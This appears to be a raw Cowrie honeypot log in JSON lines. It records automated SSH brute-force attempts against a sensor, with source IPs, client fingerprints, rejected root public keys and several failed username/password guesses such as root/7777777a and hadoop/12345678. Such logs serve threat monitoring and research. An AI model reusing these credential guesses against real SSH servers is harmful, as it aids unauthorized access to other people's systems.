{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:af:20:a4:68:e6:32:d0:53:38:b6:19:55:2f:17:35","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCfCwml0kSG7AS5ButDgSMlgft6yLlQxBXz2DIrdzlDGsWgyGLKmUITcFQtDFwxOi7a9IBDUVrBOQkIaKbEYnLhTtakmYFWJxkOLRZp5SX1ogxAL4+fGZOriAQqVBlLMBwekXAVURthbjeJpRmz7tYSecTO2C/s2H+5ukno8dhO8bjyRmVJnJ9KZhFw67BG4eo+PAbJ4a9QnfmRkdnjpVCM3T35ooRadDSh0tAycAaFJSDttgaKhAjGs2NTb+3R5TJ3xvuiEV3tTRBOWFZZhm4ZTY7sip7l8WVhujSUY2kYanWNCMSF/z7mKTOjsln2thd82zODPNFKzQtzIF3YKxJTisW0b6PjGYGNza3VTUpi4uaFs0vklCqlB+d6ReiJbogJ2sE62eKdnCY74YaJrRbuEnkNEdZOVT8495s9HC3RcQJ7MF+jJJhWI9gdYrDWwGIvgfBgh4RG77uN38R6lUvRi4gDiW/zZPNZU+LEQ7YE7LcIuZ2YWZddz58C4zjnxKNbxmK81vorOhKFqh8fvKOxkOw/mhyh+VS9gE9+xcr9QJfvTh14VORmPxZty1IA5fKLir8RRNn3zEx57v0mmoURUzq4N2GrIC8Ssi9cZaOYZUo/2lM8Owyy6yYVup+kW4BtfwnYNGESulSgrPH+ZtIIs1w/YOWMYWNoMAVTCG9k/Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:59:09.320499Z","src_ip":"104.236.66.186","session":"662164f756e6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5a:89:b5:c7:f9:c9:a2:ad:e1:1c:43:b6:b4:c1:b1:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0I15a1XEPMj7XAriaj/Kgs/Svnb79tB4Oel+S8xKT/J3HD8aimosj4/0ZEBBLyFMyEdkHsoeNfxob5LxpKyguWrmhJa/+e8YKiwM1huxDwcu4fhhGhWUo5w+D0gWxILqobQIj/HtvFuPY7c8gMum7n469/KkYPjcLmWidCoVJiLR+nSJZKmn7PN4FHHkLfT86+XxydfyyXvKbbtrKCC2ayhDXYt680R3rWq7FNmOElypVYdsc7EeaFrQxkZ76Pu8mQMzIll/inBPD/sf51VOr+SWTICBrq24NVnaqaVkeOlvinWx67Vgba+SduqC/ff6OQeEv5j6cFQmPIihwdaH7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5a:89:b5:c7:f9:c9:a2:ad:e1:1c:43:b6:b4:c1:b1:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:59:09.328783Z","src_ip":"104.236.66.186","session":"662164f756e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5a:89:b5:c7:f9:c9:a2:ad:e1:1c:43:b6:b4:c1:b1:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0I15a1XEPMj7XAriaj/Kgs/Svnb79tB4Oel+S8xKT/J3HD8aimosj4/0ZEBBLyFMyEdkHsoeNfxob5LxpKyguWrmhJa/+e8YKiwM1huxDwcu4fhhGhWUo5w+D0gWxILqobQIj/HtvFuPY7c8gMum7n469/KkYPjcLmWidCoVJiLR+nSJZKmn7PN4FHHkLfT86+XxydfyyXvKbbtrKCC2ayhDXYt680R3rWq7FNmOElypVYdsc7EeaFrQxkZ76Pu8mQMzIll/inBPD/sf51VOr+SWTICBrq24NVnaqaVkeOlvinWx67Vgba+SduqC/ff6OQeEv5j6cFQmPIihwdaH7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:59:09.332746Z","src_ip":"104.236.66.186","session":"662164f756e6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:d8:b2:d8:e2:7b:4d:a7:28:76:d9:34:27:e8:19:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAw8FuLXaNV4pBf/EzgkP1XKfnNRhXPbFh6sKc7NYxIcdrggtyKcJDDwog1z8io3EnL26mt2m9rPCDNlW4INfiyY9hUgd5Uwj8UGAEtba8OIhjhGD/Gm0NVr7SMzazSwZxmBZsfvEY4j20qqqQwhXG5gGNlQfv44f5Wo3VAfQxqU8yh260KxZvQbv46zatTxdmtw3rhzNTKamNuVrbTYuc+9ECMMmsX2tU+4J+Ut7BuT2WWTudlHRgXeLsncpfkxlls/BiEoLFs7pLfLLUzNavWr+07KHNEC6W5JQo22/rjL5TDimj91zgwdDFw237QR1GQFLU+iV6oEJNID29O7x33Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f6:d8:b2:d8:e2:7b:4d:a7:28:76:d9:34:27:e8:19:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:59:09.344203Z","src_ip":"104.236.66.186","session":"662164f756e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:d8:b2:d8:e2:7b:4d:a7:28:76:d9:34:27:e8:19:e0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAw8FuLXaNV4pBf/EzgkP1XKfnNRhXPbFh6sKc7NYxIcdrggtyKcJDDwog1z8io3EnL26mt2m9rPCDNlW4INfiyY9hUgd5Uwj8UGAEtba8OIhjhGD/Gm0NVr7SMzazSwZxmBZsfvEY4j20qqqQwhXG5gGNlQfv44f5Wo3VAfQxqU8yh260KxZvQbv46zatTxdmtw3rhzNTKamNuVrbTYuc+9ECMMmsX2tU+4J+Ut7BuT2WWTudlHRgXeLsncpfkxlls/BiEoLFs7pLfLLUzNavWr+07KHNEC6W5JQo22/rjL5TDimj91zgwdDFw237QR1GQFLU+iV6oEJNID29O7x33Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:59:09.348277Z","src_ip":"104.236.66.186","session":"662164f756e6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:9b:0a:55:2b:73:6d:a3:26:20:3f:ec:38:7a:15:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6j+d7WmfTcWXjN+YlWVlNWMg5XpsQLL3XX0xN1cfHOO5JGg8RCtqQql2lO58op30enKAwRH3DRjGPp/GUQVpSURYJiB8Td6NNbaWsTg+GLmoKy71CrfxQ3Fjp94VQjz2B8L3/nblHBPKJyFABrJuqLTW2m+u1PZI1LZlFJihu9BvbDLlmDHsHEM+/o+2Lf3TcCrkBa4ebRHCafdICHlMT8Vhn+8ecd4iMn1b96I15M8FxA7HqcuWZVenplhoS/qkSQd7UYZm4IXpNxq4/c+OEpVXP17bK+jCpoIRNuhBO4x/tBJFhATO0J7k3hErP7zvBkDt7RoVTU7nnGUGg8EIv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:9b:0a:55:2b:73:6d:a3:26:20:3f:ec:38:7a:15:50","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:59:09.359928Z","src_ip":"104.236.66.186","session":"662164f756e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:9b:0a:55:2b:73:6d:a3:26:20:3f:ec:38:7a:15:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6j+d7WmfTcWXjN+YlWVlNWMg5XpsQLL3XX0xN1cfHOO5JGg8RCtqQql2lO58op30enKAwRH3DRjGPp/GUQVpSURYJiB8Td6NNbaWsTg+GLmoKy71CrfxQ3Fjp94VQjz2B8L3/nblHBPKJyFABrJuqLTW2m+u1PZI1LZlFJihu9BvbDLlmDHsHEM+/o+2Lf3TcCrkBa4ebRHCafdICHlMT8Vhn+8ecd4iMn1b96I15M8FxA7HqcuWZVenplhoS/qkSQd7UYZm4IXpNxq4/c+OEpVXP17bK+jCpoIRNuhBO4x/tBJFhATO0J7k3hErP7zvBkDt7RoVTU7nnGUGg8EIv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:59:09.364216Z","src_ip":"104.236.66.186","session":"662164f756e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:59:09.376513Z","src_ip":"104.236.66.186","session":"662164f756e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":52998,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf7ffac5d6f3","protocol":"ssh","message":"New connection: 147.45.197.250:52998 (10.17.0.5:22) [session: bf7ffac5d6f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:59:13.379134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:59:13.384865Z","src_ip":"147.45.197.250","session":"bf7ffac5d6f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:59:13.474842Z","src_ip":"147.45.197.250","session":"bf7ffac5d6f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7777777a","message":"login attempt [root/7777777a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:59:13.743561Z","src_ip":"147.45.197.250","session":"bf7ffac5d6f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:59:14.836241Z","src_ip":"147.45.197.250","session":"bf7ffac5d6f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":33176,"dst_ip":"159.203.135.109","dst_port":22,"session":"790b79c92825","protocol":"ssh","message":"New connection: 103.27.238.120:33176 (159.203.135.109:22) [session: 790b79c92825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:00:04.539879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:00:04.545958Z","src_ip":"103.27.238.120","session":"790b79c92825","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:00:04.811646Z","src_ip":"103.27.238.120","session":"790b79c92825","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"505050","message":"login attempt [root/505050] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:00:05.607988Z","src_ip":"103.27.238.120","session":"790b79c92825","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:00:06.879013Z","src_ip":"103.27.238.120","session":"790b79c92825","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":49426,"dst_ip":"159.203.135.109","dst_port":22,"session":"34772b02b820","protocol":"ssh","message":"New connection: 194.113.233.25:49426 (159.203.135.109:22) [session: 34772b02b820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:00:07.261846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:00:07.291970Z","src_ip":"194.113.233.25","session":"34772b02b820","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:00:07.354208Z","src_ip":"194.113.233.25","session":"34772b02b820","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fktrcfyl","message":"login attempt [root/fktrcfyl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:00:07.736705Z","src_ip":"194.113.233.25","session":"34772b02b820","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:00:08.831586Z","src_ip":"194.113.233.25","session":"34772b02b820","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":56804,"dst_ip":"159.203.135.109","dst_port":22,"session":"31333e18b1ab","protocol":"ssh","message":"New connection: 147.45.199.80:56804 (159.203.135.109:22) [session: 31333e18b1ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:00:50.204021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:00:50.207698Z","src_ip":"147.45.199.80","session":"31333e18b1ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:00:50.302882Z","src_ip":"147.45.199.80","session":"31333e18b1ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maverick","message":"login attempt [root/maverick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:00:50.590040Z","src_ip":"147.45.199.80","session":"31333e18b1ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:00:51.691556Z","src_ip":"147.45.199.80","session":"31333e18b1ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":43794,"dst_ip":"159.203.135.109","dst_port":22,"session":"2292966183ff","protocol":"ssh","message":"New connection: 193.32.162.151:43794 (159.203.135.109:22) [session: 2292966183ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:01:05.540880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:01:05.546123Z","src_ip":"193.32.162.151","session":"2292966183ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:01:05.651465Z","src_ip":"193.32.162.151","session":"2292966183ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"12345678","message":"login attempt [hadoop/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:01:05.951779Z","src_ip":"193.32.162.151","session":"2292966183ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:01:07.053966Z","src_ip":"193.32.162.151","session":"2292966183ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.44","src_port":45030,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4ceed24ce22","protocol":"ssh","message":"New connection: 79.127.181.44:45030 (159.203.135.109:22) [session: c4ceed24ce22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:01:23.638128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:01:23.833497Z","src_ip":"79.127.181.44","session":"c4ceed24ce22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:01:24.024679Z","src_ip":"79.127.181.44","session":"c4ceed24ce22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:01:24.030689Z","src_ip":"79.127.181.44","session":"c4ceed24ce22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":33614,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb4cc4d7c174","protocol":"ssh","message":"New connection: 62.133.62.83:33614 (10.17.0.5:22) [session: cb4cc4d7c174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:01:26.781650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T03:01:26.786360Z","src_ip":"62.133.62.83","session":"cb4cc4d7c174","protocol":"ssh"}
